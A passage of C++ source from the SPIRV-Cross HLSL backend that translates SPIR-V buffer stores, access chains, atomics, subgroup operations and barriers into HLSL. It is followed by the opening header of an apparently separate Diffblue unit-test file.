else if (type.columns == 1)
{
// Strided store.
for (uint32_t r = 0; r < type.vecsize; r++)
{
auto store_expr = to_enclosed_expression(value);
if (type.vecsize > 1)
{
store_expr += ".";
store_expr += index_to_swizzle(r);
}
remove_duplicate_swizzle(store_expr);
auto bitcast_op = bitcast_glsl_op(target_type, type);
if (!bitcast_op.empty())
store_expr = join(bitcast_op, "(", store_expr, ")");
statement(chain.base, ".Store(", chain.dynamic_index, chain.static_index + chain.matrix_stride * r, ", ",
store_expr, ");");
}
}
else if (!chain.row_major_matrix)
{
const char *store_op = nullptr;
switch (type.vecsize)
{
case 1:
store_op = "Store";
break;
case 2:
store_op = "Store2";
break;
case 3:
store_op = "Store3";
break;
case 4:
store_op = "Store4";
break;
default:
SPIRV_CROSS_THROW("Unknown vector size.");
}
for (uint32_t c = 0; c < type.columns; c++)
{
auto store_expr = join(to_enclosed_expression(value), "[", c, "]");
auto bitcast_op = bitcast_glsl_op(target_type, type);
if (!bitcast_op.empty())
store_expr = join(bitcast_op, "(", store_expr, ")");
statement(chain.base, ".", store_op, "(", chain.dynamic_index, chain.static_index + c * chain.matrix_stride,
", ", store_expr, ");");
}
}
else
{
for (uint32_t r = 0; r < type.vecsize; r++)
{
for (uint32_t c = 0; c < type.columns; c++)
{
auto store_expr = join(to_enclosed_expression(value), "[", c, "].", index_to_swizzle(r));
remove_duplicate_swizzle(store_expr);
auto bitcast_op = bitcast_glsl_op(target_type, type);
if (!bitcast_op.empty())
store_expr = join(bitcast_op, "(", store_expr, ")");
statement(chain.base, ".Store(", chain.dynamic_index,
chain.static_index + c * (type.width / 8) + r * chain.matrix_stride, ", ", store_expr, ");");
}
}
}
register_write(chain.self);
}
void CompilerHLSL::emit_store(const Instruction &instruction)
{
auto ops = stream(instruction);
auto *chain = maybe_get<SPIRAccessChain>(ops[0]);
if (chain)
write_access_chain(*chain, ops[1]);
else
CompilerGLSL::emit_instruction(instruction);
}
void CompilerHLSL::emit_access_chain(const Instruction &instruction)
{
auto ops = stream(instruction);
uint32_t length = instruction.length;
bool need_byte_access_chain = false;
auto &type = expression_type(ops[2]);
const SPIRAccessChain *chain = nullptr;
if (type.storage == StorageClassStorageBuffer || has_decoration(type.self, DecorationBufferBlock))
{
// If we are starting to poke into an SSBO, we are dealing with ByteAddressBuffers, and we need
// to emit SPIRAccessChain rather than a plain SPIRExpression.
uint32_t chain_arguments = length - 3;
if (chain_arguments > type.array.size())
need_byte_access_chain = true;
}
else
{
// Keep tacking on an existing access chain.
chain = maybe_get<SPIRAccessChain>(ops[2]);
if (chain)
need_byte_access_chain = true;
}
if (need_byte_access_chain)
{
uint32_t to_plain_buffer_length = static_cast<uint32_t>(type.array.size());
string base;
if (to_plain_buffer_length != 0)
{
bool need_transpose;
base = access_chain(ops[2], &ops[3], to_plain_buffer_length, get<SPIRType>(ops[0]), &need_transpose);
}
else
base = to_expression(ops[2]);
auto *basetype = &type;
// Start traversing type hierarchy at the proper non-pointer types.
while (basetype->pointer)
{
assert(basetype->parent_type);
basetype = &get<SPIRType>(basetype->parent_type);
}
// Traverse the type hierarchy down to the actual buffer types.
for (uint32_t i = 0; i < to_plain_buffer_length; i++)
{
assert(basetype->parent_type);
basetype = &get<SPIRType>(basetype->parent_type);
}
uint32_t matrix_stride = 0;
bool row_major_matrix = false;
// Inherit matrix information.
if (chain)
{
matrix_stride = chain->matrix_stride;
row_major_matrix = chain->row_major_matrix;
}
auto offsets =
flattened_access_chain_offset(*basetype, &ops[3 + to_plain_buffer_length],
length - 3 - to_plain_buffer_length, 0, 1, &row_major_matrix, &matrix_stride);
auto &e = set<SPIRAccessChain>(ops[1], ops[0], type.storage, base, offsets.first, offsets.second);
e.row_major_matrix = row_major_matrix;
e.matrix_stride = matrix_stride;
e.immutable = should_forward(ops[2]);
if (chain)
{
e.dynamic_index += chain->dynamic_index;
e.static_index += chain->static_index;
}
}
else
{
CompilerGLSL::emit_instruction(instruction);
}
}
void CompilerHLSL::emit_atomic(const uint32_t *ops, uint32_t length, spv::Op op)
{
const char *atomic_op = nullptr;
auto value_expr = to_expression(ops[op == OpAtomicCompareExchange ? 6 : 5]);
switch (op)
{
case OpAtomicISub:
atomic_op = "InterlockedAdd";
value_expr = join("-", enclose_expression(value_expr));
break;
case OpAtomicSMin:
case OpAtomicUMin:
atomic_op = "InterlockedMin";
break;
case OpAtomicSMax:
case OpAtomicUMax:
atomic_op = "InterlockedMax";
break;
case OpAtomicAnd:
atomic_op = "InterlockedAnd";
break;
case OpAtomicOr:
atomic_op = "InterlockedOr";
break;
case OpAtomicXor:
atomic_op = "InterlockedXor";
break;
case OpAtomicIAdd:
atomic_op = "InterlockedAdd";
break;
case OpAtomicExchange:
atomic_op = "InterlockedExchange";
break;
case OpAtomicCompareExchange:
if (length < 8)
SPIRV_CROSS_THROW("Not enough data for opcode.");
atomic_op = "InterlockedCompareExchange";
value_expr = join(to_expression(ops[7]), ", ", value_expr);
break;
default:
SPIRV_CROSS_THROW("Unknown atomic opcode.");
}
if (length < 6)
SPIRV_CROSS_THROW("Not enough data for opcode.");
uint32_t result_type = ops[0];
uint32_t id = ops[1];
forced_temporaries.insert(ops[1]);
auto &type = get<SPIRType>(result_type);
statement(variable_decl(type, to_name(id)), ";");
auto &data_type = expression_type(ops[2]);
auto *chain = maybe_get<SPIRAccessChain>(ops[2]);
SPIRType::BaseType expr_type;
if (data_type.storage == StorageClassImage || !chain)
{
statement(atomic_op, "(", to_expression(ops[2]), ", ", value_expr, ", ", to_name(id), ");");
expr_type = data_type.basetype;
}
else
{
// RWByteAddress buffer is always uint in its underlying type.
expr_type = SPIRType::UInt;
statement(chain->base, ".", atomic_op, "(", chain->dynamic_index, chain->static_index, ", ", value_expr, ", ",
to_name(id), ");");
}
auto expr = bitcast_expression(type, expr_type, to_name(id));
set<SPIRExpression>(id, expr, result_type, true);
flush_all_atomic_capable_variables();
register_read(ops[1], ops[2], should_forward(ops[2]));
}
void CompilerHLSL::emit_subgroup_op(const Instruction &i)
{
if (hlsl_options.shader_model < 60)
SPIRV_CROSS_THROW("Wave ops requires SM 6.0 or higher.");
const uint32_t *ops = stream(i);
auto op = static_cast<Op>(i.op);
uint32_t result_type = ops[0];
uint32_t id = ops[1];
auto scope = static_cast<Scope>(get<SPIRConstant>(ops[2]).scalar());
if (scope != ScopeSubgroup)
SPIRV_CROSS_THROW("Only subgroup scope is supported.");
const auto make_inclusive_Sum = [&](const string &expr) -> string {
return join(expr, " + ", to_expression(ops[4]));
};
const auto make_inclusive_Product = [&](const string &expr) -> string {
return join(expr, " * ", to_expression(ops[4]));
};
#define make_inclusive_BitAnd(expr) ""
#define make_inclusive_BitOr(expr) ""
#define make_inclusive_BitXor(expr) ""
#define make_inclusive_Min(expr) ""
#define make_inclusive_Max(expr) ""
switch (op)
{
case OpGroupNonUniformElect:
emit_op(result_type, id, "WaveIsFirstLane()", true);
break;
case OpGroupNonUniformBroadcast:
emit_binary_func_op(result_type, id, ops[3], ops[4], "WaveReadLaneAt");
break;
case OpGroupNonUniformBroadcastFirst:
emit_unary_func_op(result_type, id, ops[3], "WaveReadLaneFirst");
break;
case OpGroupNonUniformBallot:
emit_unary_func_op(result_type, id, ops[3], "WaveActiveBallot");
break;
case OpGroupNonUniformInverseBallot:
SPIRV_CROSS_THROW("Cannot trivially implement InverseBallot in HLSL.");
break;
case OpGroupNonUniformBallotBitExtract:
SPIRV_CROSS_THROW("Cannot trivially implement BallotBitExtract in HLSL.");
break;
case OpGroupNonUniformBallotFindLSB:
SPIRV_CROSS_THROW("Cannot trivially implement BallotFindLSB in HLSL.");
break;
case OpGroupNonUniformBallotFindMSB:
SPIRV_CROSS_THROW("Cannot trivially implement BallotFindMSB in HLSL.");
break;
case OpGroupNonUniformBallotBitCount:
{
auto operation = static_cast<GroupOperation>(ops[3]);
if (operation == GroupOperationReduce)
{
bool forward = should_forward(ops[4]);
auto left = join("countbits(", to_enclosed_expression(ops[4]), ".x) + countbits(",
to_enclosed_expression(ops[4]), ".y)");
auto right = join("countbits(", to_enclosed_expression(ops[4]), ".z) + countbits(",
to_enclosed_expression(ops[4]), ".w)");
emit_op(result_type, id, join(left, " + ", right), forward);
inherit_expression_dependencies(id, ops[4]);
}
else if (operation == GroupOperationInclusiveScan)
SPIRV_CROSS_THROW("Cannot trivially implement BallotBitCount Inclusive Scan in HLSL.");
else if (operation == GroupOperationExclusiveScan)
SPIRV_CROSS_THROW("Cannot trivially implement BallotBitCount Exclusive Scan in HLSL.");
else
SPIRV_CROSS_THROW("Invalid BitCount operation.");
break;
}
case OpGroupNonUniformShuffle:
SPIRV_CROSS_THROW("Cannot trivially implement Shuffle in HLSL.");
case OpGroupNonUniformShuffleXor:
SPIRV_CROSS_THROW("Cannot trivially implement ShuffleXor in HLSL.");
case OpGroupNonUniformShuffleUp:
SPIRV_CROSS_THROW("Cannot trivially implement ShuffleUp in HLSL.");
case OpGroupNonUniformShuffleDown:
SPIRV_CROSS_THROW("Cannot trivially implement ShuffleDown in HLSL.");
case OpGroupNonUniformAll:
emit_unary_func_op(result_type, id, ops[3], "WaveActiveAllTrue");
break;
case OpGroupNonUniformAny:
emit_unary_func_op(result_type, id, ops[3], "WaveActiveAnyTrue");
break;
case OpGroupNonUniformAllEqual:
{
auto &type = get<SPIRType>(result_type);
emit_unary_func_op(result_type, id, ops[3],
type.basetype == SPIRType::Boolean ? "WaveActiveAllEqualBool" : "WaveActiveAllEqual");
break;
}
// clang-format off
#define GROUP_OP(op, hlsl_op, supports_scan) \
case OpGroupNonUniform##op: \
{ \
auto operation = static_cast<GroupOperation>(ops[3]); \
if (operation == GroupOperationReduce) \
emit_unary_func_op(result_type, id, ops[4], "WaveActive" #hlsl_op); \
else if (operation == GroupOperationInclusiveScan && supports_scan) \
{ \
bool forward = should_forward(ops[4]); \
emit_op(result_type, id, make_inclusive_##hlsl_op (join("WavePrefix" #hlsl_op, "(", to_expression(ops[4]), ")")), forward); \
inherit_expression_dependencies(id, ops[4]); \
} \
else if (operation == GroupOperationExclusiveScan && supports_scan) \
emit_unary_func_op(result_type, id, ops[4], "WavePrefix" #hlsl_op); \
else if (operation == GroupOperationClusteredReduce) \
SPIRV_CROSS_THROW("Cannot trivially implement ClusteredReduce in HLSL."); \
else \
SPIRV_CROSS_THROW("Invalid group operation."); \
break; \
}
GROUP_OP(FAdd, Sum, true)
GROUP_OP(FMul, Product, true)
GROUP_OP(FMin, Min, false)
GROUP_OP(FMax, Max, false)
GROUP_OP(IAdd, Sum, true)
GROUP_OP(IMul, Product, true)
GROUP_OP(SMin, Min, false)
GROUP_OP(SMax, Max, false)
GROUP_OP(UMin, Min, false)
GROUP_OP(UMax, Max, false)
GROUP_OP(BitwiseAnd, BitAnd, false)
GROUP_OP(BitwiseOr, BitOr, false)
GROUP_OP(BitwiseXor, BitXor, false)
#undef GROUP_OP
// clang-format on
case OpGroupNonUniformQuadSwap:
{
uint32_t direction = get<SPIRConstant>(ops[4]).scalar();
if (direction == 0)
emit_unary_func_op(result_type, id, ops[3], "QuadReadAcrossX");
else if (direction == 1)
emit_unary_func_op(result_type, id, ops[3], "QuadReadAcrossY");
else if (direction == 2)
emit_unary_func_op(result_type, id, ops[3], "QuadReadAcrossDiagonal");
else
SPIRV_CROSS_THROW("Invalid quad swap direction.");
break;
}
case OpGroupNonUniformQuadBroadcast:
{
emit_binary_func_op(result_type, id, ops[3], ops[4], "QuadReadLaneAt");
break;
}
default:
SPIRV_CROSS_THROW("Invalid opcode for subgroup.");
}
register_control_dependent_expression(id);
}
void CompilerHLSL::emit_instruction(const Instruction &instruction)
{
auto ops = stream(instruction);
auto opcode = static_cast<Op>(instruction.op);
#define BOP(op) emit_binary_op(ops[0], ops[1], ops[2], ops[3], #op)
#define BOP_CAST(op, type) \
emit_binary_op_cast(ops[0], ops[1], ops[2], ops[3], #op, type, hlsl_opcode_is_sign_invariant(opcode))
#define UOP(op) emit_unary_op(ops[0], ops[1], ops[2], #op)
#define QFOP(op) emit_quaternary_func_op(ops[0], ops[1], ops[2], ops[3], ops[4], ops[5], #op)
#define TFOP(op) emit_trinary_func_op(ops[0], ops[1], ops[2], ops[3], ops[4], #op)
#define BFOP(op) emit_binary_func_op(ops[0], ops[1], ops[2], ops[3], #op)
#define BFOP_CAST(op, type) \
emit_binary_func_op_cast(ops[0], ops[1], ops[2], ops[3], #op, type, hlsl_opcode_is_sign_invariant(opcode))
#define BFOP(op) emit_binary_func_op(ops[0], ops[1], ops[2], ops[3], #op)
#define UFOP(op) emit_unary_func_op(ops[0], ops[1], ops[2], #op)
switch (opcode)
{
case OpAccessChain:
case OpInBoundsAccessChain:
{
emit_access_chain(instruction);
break;
}
case OpStore:
{
emit_store(instruction);
break;
}
case OpLoad:
{
emit_load(instruction);
break;
}
case OpMatrixTimesVector:
{
emit_binary_func_op(ops[0], ops[1], ops[3], ops[2], "mul");
break;
}
case OpVectorTimesMatrix:
{
emit_binary_func_op(ops[0], ops[1], ops[3], ops[2], "mul");
break;
}
case OpMatrixTimesMatrix:
{
emit_binary_func_op(ops[0], ops[1], ops[3], ops[2], "mul");
break;
}
case OpFMod:
{
if (!requires_op_fmod)
{
requires_op_fmod = true;
force_recompile = true;
}
CompilerGLSL::emit_instruction(instruction);
break;
}
case OpFRem:
emit_binary_func_op(ops[0], ops[1], ops[2], ops[3], "fmod");
break;
case OpImage:
{
uint32_t result_type = ops[0];
uint32_t id = ops[1];
auto *combined = maybe_get<SPIRCombinedImageSampler>(ops[2]);
if (combined)
emit_op(result_type, id, to_expression(combined->image), true, true);
else
emit_op(result_type, id, to_expression(ops[2]), true, true);
break;
}
case OpDPdx:
UFOP(ddx);
register_control_dependent_expression(ops[1]);
break;
case OpDPdy:
UFOP(ddy);
register_control_dependent_expression(ops[1]);
break;
case OpDPdxFine:
UFOP(ddx_fine);
register_control_dependent_expression(ops[1]);
break;
case OpDPdyFine:
UFOP(ddy_fine);
register_control_dependent_expression(ops[1]);
break;
case OpDPdxCoarse:
UFOP(ddx_coarse);
register_control_dependent_expression(ops[1]);
break;
case OpDPdyCoarse:
UFOP(ddy_coarse);
register_control_dependent_expression(ops[1]);
break;
case OpFwidth:
case OpFwidthCoarse:
case OpFwidthFine:
UFOP(fwidth);
register_control_dependent_expression(ops[1]);
break;
case OpLogicalNot:
{
auto result_type = ops[0];
auto id = ops[1];
auto &type = get<SPIRType>(result_type);
if (type.vecsize > 1)
emit_unrolled_unary_op(result_type, id, ops[2], "!");
else
UOP(!);
break;
}
case OpIEqual:
{
auto result_type = ops[0];
auto id = ops[1];
if (expression_type(ops[2]).vecsize > 1)
emit_unrolled_binary_op(result_type, id, ops[2], ops[3], "==");
else
BOP_CAST(==, SPIRType::Int);
break;
}
case OpLogicalEqual:
case OpFOrdEqual:
{
auto result_type = ops[0];
auto id = ops[1];
if (expression_type(ops[2]).vecsize > 1)
emit_unrolled_binary_op(result_type, id, ops[2], ops[3], "==");
else
BOP(==);
break;
}
case OpINotEqual:
{
auto result_type = ops[0];
auto id = ops[1];
if (expression_type(ops[2]).vecsize > 1)
emit_unrolled_binary_op(result_type, id, ops[2], ops[3], "!=");
else
BOP_CAST(!=, SPIRType::Int);
break;
}
case OpLogicalNotEqual:
case OpFOrdNotEqual:
{
auto result_type = ops[0];
auto id = ops[1];
if (expression_type(ops[2]).vecsize > 1)
emit_unrolled_binary_op(result_type, id, ops[2], ops[3], "!=");
else
BOP(!=);
break;
}
case OpUGreaterThan:
case OpSGreaterThan:
{
auto result_type = ops[0];
auto id = ops[1];
auto type = opcode == OpUGreaterThan ? SPIRType::UInt : SPIRType::Int;
if (expression_type(ops[2]).vecsize > 1)
emit_unrolled_binary_op(result_type, id, ops[2], ops[3], ">");
else
BOP_CAST(>, type);
break;
}
case OpFOrdGreaterThan:
{
auto result_type = ops[0];
auto id = ops[1];
if (expression_type(ops[2]).vecsize > 1)
emit_unrolled_binary_op(result_type, id, ops[2], ops[3], ">");
else
BOP(>);
break;
}
case OpUGreaterThanEqual:
case OpSGreaterThanEqual:
{
auto result_type = ops[0];
auto id = ops[1];
auto type = opcode == OpUGreaterThanEqual ? SPIRType::UInt : SPIRType::Int;
if (expression_type(ops[2]).vecsize > 1)
emit_unrolled_binary_op(result_type, id, ops[2], ops[3], ">=");
else
BOP_CAST(>=, type);
break;
}
case OpFOrdGreaterThanEqual:
{
auto result_type = ops[0];
auto id = ops[1];
if (expression_type(ops[2]).vecsize > 1)
emit_unrolled_binary_op(result_type, id, ops[2], ops[3], ">=");
else
BOP(>=);
break;
}
case OpULessThan:
case OpSLessThan:
{
auto result_type = ops[0];
auto id = ops[1];
auto type = opcode == OpULessThan ? SPIRType::UInt : SPIRType::Int;
if (expression_type(ops[2]).vecsize > 1)
emit_unrolled_binary_op(result_type, id, ops[2], ops[3], "<");
else
BOP_CAST(<, type);
break;
}
case OpFOrdLessThan:
{
auto result_type = ops[0];
auto id = ops[1];
if (expression_type(ops[2]).vecsize > 1)
emit_unrolled_binary_op(result_type, id, ops[2], ops[3], "<");
else
BOP(<);
break;
}
case OpULessThanEqual:
case OpSLessThanEqual:
{
auto result_type = ops[0];
auto id = ops[1];
auto type = opcode == OpULessThanEqual ? SPIRType::UInt : SPIRType::Int;
if (expression_type(ops[2]).vecsize > 1)
emit_unrolled_binary_op(result_type, id, ops[2], ops[3], "<=");
else
BOP_CAST(<=, type);
break;
}
case OpFOrdLessThanEqual:
{
auto result_type = ops[0];
auto id = ops[1];
if (expression_type(ops[2]).vecsize > 1)
emit_unrolled_binary_op(result_type, id, ops[2], ops[3], "<=");
else
BOP(<=);
break;
}
case OpImageQueryLod:
emit_texture_op(instruction);
break;
case OpImageQuerySizeLod:
{
auto result_type = ops[0];
auto id = ops[1];
require_texture_query_variant(expression_type(ops[2]));
auto dummy_samples_levels = join(get_fallback_name(id), "_dummy_parameter");
statement("uint ", dummy_samples_levels, ";");
auto expr = join("SPIRV_Cross_textureSize(", to_expression(ops[2]), ", ",
bitcast_expression(SPIRType::UInt, ops[3]), ", ", dummy_samples_levels, ")");
auto &restype = get<SPIRType>(ops[0]);
expr = bitcast_expression(restype, SPIRType::UInt, expr);
emit_op(result_type, id, expr, true);
break;
}
case OpImageQuerySize:
{
auto result_type = ops[0];
auto id = ops[1];
require_texture_query_variant(expression_type(ops[2]));
auto dummy_samples_levels = join(get_fallback_name(id), "_dummy_parameter");
statement("uint ", dummy_samples_levels, ";");
auto expr = join("SPIRV_Cross_textureSize(", to_expression(ops[2]), ", 0u, ", dummy_samples_levels, ")");
auto &restype = get<SPIRType>(ops[0]);
expr = bitcast_expression(restype, SPIRType::UInt, expr);
emit_op(result_type, id, expr, true);
break;
}
case OpImageQuerySamples:
case OpImageQueryLevels:
{
auto result_type = ops[0];
auto id = ops[1];
require_texture_query_variant(expression_type(ops[2]));
// Keep it simple and do not emit special variants to make this look nicer ...
// This stuff is barely, if ever, used.
forced_temporaries.insert(id);
auto &type = get<SPIRType>(result_type);
statement(variable_decl(type, to_name(id)), ";");
statement("SPIRV_Cross_textureSize(", to_expression(ops[2]), ", 0u, ", to_name(id), ");");
auto &restype = get<SPIRType>(ops[0]);
auto expr = bitcast_expression(restype, SPIRType::UInt, to_name(id));
set<SPIRExpression>(id, expr, result_type, true);
break;
}
case OpImageRead:
{
uint32_t result_type = ops[0];
uint32_t id = ops[1];
auto *var = maybe_get_backing_variable(ops[2]);
auto &type = expression_type(ops[2]);
bool subpass_data = type.image.dim == DimSubpassData;
bool pure = false;
string imgexpr;
if (subpass_data)
{
if (hlsl_options.shader_model < 40)
SPIRV_CROSS_THROW("Subpass loads are not supported in HLSL shader model 2/3.");
// Similar to GLSL, implement subpass loads using texelFetch.
if (type.image.ms)
{
uint32_t operands = ops[4];
if (operands != ImageOperandsSampleMask || instruction.length != 6)
SPIRV_CROSS_THROW("Multisampled image used in OpImageRead, but unexpected operand mask was used.");
uint32_t sample = ops[5];
imgexpr = join(to_expression(ops[2]), ".Load(int2(gl_FragCoord.xy), ", to_expression(sample), ")");
}
else
imgexpr = join(to_expression(ops[2]), ".Load(int3(int2(gl_FragCoord.xy), 0))");
pure = true;
}
else
{
imgexpr = join(to_expression(ops[2]), "[", to_expression(ops[3]), "]");
// The underlying image type in HLSL depends on the image format, unlike GLSL, where all images are "vec4",
// except that the underlying type changes how the data is interpreted.
if (var && !subpass_data)
imgexpr = remap_swizzle(get<SPIRType>(result_type),
image_format_to_components(get<SPIRType>(var->basetype).image.format), imgexpr);
}
if (var && var->forwardable)
{
bool forward = forced_temporaries.find(id) == end(forced_temporaries);
auto &e = emit_op(result_type, id, imgexpr, forward);
if (!pure)
{
e.loaded_from = var->self;
if (forward)
var->dependees.push_back(id);
}
}
else
emit_op(result_type, id, imgexpr, false);
inherit_expression_dependencies(id, ops[2]);
if (type.image.ms)
inherit_expression_dependencies(id, ops[5]);
break;
}
case OpImageWrite:
{
auto *var = maybe_get_backing_variable(ops[0]);
// The underlying image type in HLSL depends on the image format, unlike GLSL, where all images are "vec4",
// except that the underlying type changes how the data is interpreted.
auto value_expr = to_expression(ops[2]);
if (var)
{
auto &type = get<SPIRType>(var->basetype);
auto narrowed_type = get<SPIRType>(type.image.type);
narrowed_type.vecsize = image_format_to_components(type.image.format);
value_expr = remap_swizzle(narrowed_type, expression_type(ops[2]).vecsize, value_expr);
}
statement(to_expression(ops[0]), "[", to_expression(ops[1]), "] = ", value_expr, ";");
if (var && variable_storage_is_aliased(*var))
flush_all_aliased_variables();
break;
}
case OpImageTexelPointer:
{
uint32_t result_type = ops[0];
uint32_t id = ops[1];
auto &e =
set<SPIRExpression>(id, join(to_expression(ops[2]), "[", to_expression(ops[3]), "]"), result_type, true);
// When using the pointer, we need to know which variable it is actually loaded from.
auto *var = maybe_get_backing_variable(ops[2]);
e.loaded_from = var ? var->self : 0;
break;
}
case OpAtomicCompareExchange:
case OpAtomicExchange:
case OpAtomicISub:
case OpAtomicSMin:
case OpAtomicUMin:
case OpAtomicSMax:
case OpAtomicUMax:
case OpAtomicAnd:
case OpAtomicOr:
case OpAtomicXor:
case OpAtomicIAdd:
{
emit_atomic(ops, instruction.length, opcode);
break;
}
case OpControlBarrier:
case OpMemoryBarrier:
{
uint32_t memory;
uint32_t semantics;
if (opcode == OpMemoryBarrier)
{
memory = get<SPIRConstant>(ops[0]).scalar();
semantics = get<SPIRConstant>(ops[1]).scalar();
}
else
{
memory = get<SPIRConstant>(ops[1]).scalar();
semantics = get<SPIRConstant>(ops[2]).scalar();
}
if (memory == ScopeSubgroup)
{
// No Wave-barriers in HLSL.
break;
}
// We only care about these flags, acquire/release and friends are not relevant to GLSL.
semantics = mask_relevant_memory_semantics(semantics);
if (opcode == OpMemoryBarrier)
{
// If we are a memory barrier, and the next instruction is a control barrier, check if that memory barrier
// does what we need, so we avoid redundant barriers.
const Instruction *next = get_next_instruction_in_block(instruction);
if (next && next->op == OpControlBarrier)
{
auto *next_ops = stream(*next);
uint32_t next_memory = get<SPIRConstant>(next_ops[1]).scalar();
uint32_t next_semantics = get<SPIRConstant>(next_ops[2]).scalar();
next_semantics = mask_relevant_memory_semantics(next_semantics);
// There is no "just execution barrier" in HLSL.
// If there are no memory semantics for next instruction, we will imply group shared memory is synced.
if (next_semantics == 0)
next_semantics = MemorySemanticsWorkgroupMemoryMask;
bool memory_scope_covered = false;
if (next_memory == memory)
memory_scope_covered = true;
else if (next_semantics == MemorySemanticsWorkgroupMemoryMask)
{
// If we only care about workgroup memory, either Device or Workgroup scope is fine,
// scope does not have to match.
if ((next_memory == ScopeDevice || next_memory == ScopeWorkgroup) &&
(memory == ScopeDevice || memory == ScopeWorkgroup))
{
memory_scope_covered = true;
}
}
else if (memory == ScopeWorkgroup && next_memory == ScopeDevice)
{
// The control barrier has device scope, but the memory barrier just has workgroup scope.
memory_scope_covered = true;
}
// If we have the same memory scope, and all memory types are covered, we're good.
if (memory_scope_covered && (semantics & next_semantics) == semantics)
break;
}
}
// We are synchronizing some memory or syncing execution,
// so we cannot forward any loads beyond the memory barrier.
if (semantics || opcode == OpControlBarrier)
{
assert(current_emitting_block);
flush_control_dependent_expressions(current_emitting_block->self);
flush_all_active_variables();
}
if (opcode == OpControlBarrier)
{
// We cannot emit just execution barrier, for no memory semantics pick the cheapest option.
if (semantics == MemorySemanticsWorkgroupMemoryMask || semantics == 0)
statement("GroupMemoryBarrierWithGroupSync();");
else if (semantics != 0 && (semantics & MemorySemanticsWorkgroupMemoryMask) == 0)
statement("DeviceMemoryBarrierWithGroupSync();");
else
statement("AllMemoryBarrierWithGroupSync();");
}
else
{
if (semantics == MemorySemanticsWorkgroupMemoryMask)
statement("GroupMemoryBarrier();");
else if (semantics != 0 && (semantics & MemorySemanticsWorkgroupMemoryMask) == 0)
statement("DeviceMemoryBarrier();");
else
statement("AllMemoryBarrier();");
}
break;
}
case OpBitFieldInsert:
{
if (!requires_bitfield_insert)
{
requires_bitfield_insert = true;
force_recompile = true;
}
auto expr = join("SPIRV_Cross_bitfieldInsert(", to_expression(ops[2]), ", ", to_expression(ops[3]), ", ",
to_expression(ops[4]), ", ", to_expression(ops[5]), ")");
bool forward =
should_forward(ops[2]) && should_forward(ops[3]) && should_forward(ops[4]) && should_forward(ops[5]);
auto &restype = get<SPIRType>(ops[0]);
expr = bitcast_expression(restype, SPIRType::UInt, expr);
emit_op(ops[0], ops[1], expr, forward);
break;
}
case OpBitFieldSExtract:
case OpBitFieldUExtract:
{
if (!requires_bitfield_extract)
{
requires_bitfield_extract = true;
force_recompile = true;
}
if (opcode == OpBitFieldSExtract)
TFOP(SPIRV_Cross_bitfieldSExtract);
else
TFOP(SPIRV_Cross_bitfieldUExtract);
break;
}
case OpBitCount:
UFOP(countbits);
break;
case OpBitReverse:
UFOP(reversebits);
break;
default:
CompilerGLSL::emit_instruction(instruction);
break;
}
}
void CompilerHLSL::require_texture_query_variant(const SPIRType &type)
{
uint32_t bit = 0;
switch (type.image.dim)
{
case Dim1D:
bit = type.image.arrayed ? Query1DArray : Query1D;
break;
case Dim2D:
if (type.image.ms)
bit = type.image.arrayed ? Query2DMSArray : Query2DMS;
else
bit = type.image.arrayed ? Query2DArray : Query2D;
break;
case Dim3D:
bit = Query3D;
break;
case DimCube:
bit = type.image.arrayed ? QueryCubeArray : QueryCube;
break;
case DimBuffer:
bit = QueryBuffer;
break;
default:
SPIRV_CROSS_THROW("Unsupported query type.");
}
switch (get<SPIRType>(type.image.type).basetype)
{
case SPIRType::Float:
bit += QueryTypeFloat;
break;
case SPIRType::Int:
bit += QueryTypeInt;
break;
case SPIRType::UInt:
bit += QueryTypeUInt;
break;
default:
SPIRV_CROSS_THROW("Unsupported query type.");
}
uint64_t mask = 1ull << bit;
if ((required_textureSizeVariants & mask) == 0)
{
force_recompile = true;
required_textureSizeVariants |= mask;
}
}
string CompilerHLSL::compile(std::vector<HLSLVertexAttributeRemap> vertex_attributes)
{
remap_vertex_attributes = move(vertex_attributes);
return compile();
}
uint32_t CompilerHLSL::remap_num_workgroups_builtin()
{
update_active_builtins();
if (!active_input_builtins.get(BuiltInNumWorkgroups))
return 0;
// Create a new, fake UBO.
uint32_t offset = increase_bound_by(4);
uint32_t uint_type_id = offset;
uint32_t block_type_id = offset + 1;
uint32_t block_pointer_type_id = offset + 2;
uint32_t variable_id = offset + 3;
SPIRType uint_type;
uint_type.basetype = SPIRType::UInt;
uint_type.width = 32;
uint_type.vecsize = 3;
uint_type.columns = 1;
set<SPIRType>(uint_type_id, uint_type);
SPIRType block_type;
block_type.basetype = SPIRType::Struct;
block_type.member_types.push_back(uint_type_id);
set<SPIRType>(block_type_id, block_type);
set_decoration(block_type_id, DecorationBlock);
set_member_name(block_type_id, 0, "count");
set_member_decoration(block_type_id, 0, DecorationOffset, 0);
SPIRType block_pointer_type = block_type;
block_pointer_type.pointer = true;
block_pointer_type.storage = StorageClassUniform;
block_pointer_type.parent_type = block_type_id;
auto &ptr_type = set<SPIRType>(block_pointer_type_id, block_pointer_type);
// Preserve self.
ptr_type.self = block_type_id;
set<SPIRVariable>(variable_id, block_pointer_type_id, StorageClassUniform);
meta[variable_id].decoration.alias = "SPIRV_Cross_NumWorkgroups";
num_workgroups_builtin = variable_id;
return variable_id;
}
string CompilerHLSL::compile()
{
// Do not deal with ES-isms like precision, older extensions and such.
options.es = false;
options.version = 450;
options.vulkan_semantics = true;
backend.float_literal_suffix = true;
backend.double_literal_suffix = false;
backend.half_literal_suffix = nullptr;
backend.long_long_literal_suffix = true;
backend.uint32_t_literal_suffix = true;
backend.basic_int_type = "int";
backend.basic_uint_type = "uint";
backend.swizzle_is_function = false;
backend.shared_is_implied = true;
backend.flexible_member_array_supported = false;
backend.explicit_struct_type = false;
backend.use_initializer_list = true;
backend.use_constructor_splatting = false;
backend.boolean_mix_support = false;
backend.can_swizzle_scalar = true;
backend.can_declare_struct_inline = false;
backend.can_declare_arrays_inline = false;
backend.can_return_array = false;
update_active_builtins();
analyze_image_and_sampler_usage();
// Subpass input needs SV_Position.
if (need_subpass_input)
active_input_builtins.set(BuiltInFragCoord);
uint32_t pass_count = 0;
do
{
if (pass_count >= 3)
SPIRV_CROSS_THROW("Over 3 compilation loops detected. Must be a bug!");
reset();
// Move constructor for this type is broken on GCC 4.9 ...
buffer = unique_ptr<ostringstream>(new ostringstream());
emit_header();
emit_resources();
emit_function(get<SPIRFunction>(entry_point), Bitset());
emit_hlsl_entry_point();
pass_count++;
} while (force_recompile);
// Entry point in HLSL is always main() for the time being.
get_entry_point().name = "main";
return buffer->str();
}
|
/*******************************************************************\
Module: Unit tests for has_subtype in expr_util.cpp
Author: Diffblue Ltd.
\*******************************************************************/
#include <testing-utils/catch.hpp>
